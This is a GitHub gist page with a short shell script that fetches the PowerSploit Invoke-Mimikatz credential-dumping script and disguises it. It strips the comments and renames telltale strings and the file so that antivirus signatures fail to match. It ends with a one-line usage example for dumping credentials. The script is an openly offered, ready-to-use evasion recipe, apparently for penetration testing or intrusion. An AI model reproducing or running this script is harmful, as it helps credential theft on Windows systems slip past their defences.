Skip to content

Instantly share code, notes, and snippets.

@curi0usJack
Last active April 26, 2021 15:48
Show Gist options
  • Save curi0usJack/adbf34bd402f28138388bd6e266da961 to your computer and use it in GitHub Desktop.
Save curi0usJack/adbf34bd402f28138388bd6e266da961 to your computer and use it in GitHub Desktop.
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
# Uncomment below two lines to clean comments from all .ps1 files in ./
#find ./ -name "*.ps1" -exec sed -i -e '/^<#/,/^#>/d' {} \;
#find ./ -name "*.ps1" -exec sed -i -e 's/#.*$//' {} \;
sed -i -e '/^<#/,/^#>/d' Invoke-Mimikatz.ps1
sed -i -e 's/#.*$//' Invoke-Mimikatz.ps1
sed -i -e's/DumpCerts/GimmeCerts/g' Invoke-Mimikatz.ps1
sed -i -e 's/DumpCreds/GimmeCreds/g' Invoke-Mimikatz.ps1
sed -i -e 's/mikatz/nicars/g' Invoke-Mimikatz.ps1
mv Invoke-Mimikatz.ps1 Invoke-Minicars.ps1
# Call like so: . ./Invoke-Minicars.ps1; Invoke-Minicars -GimmeCreds;
@0x25bit
Copy link

0x25bit commented Apr 26, 2021

nani

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment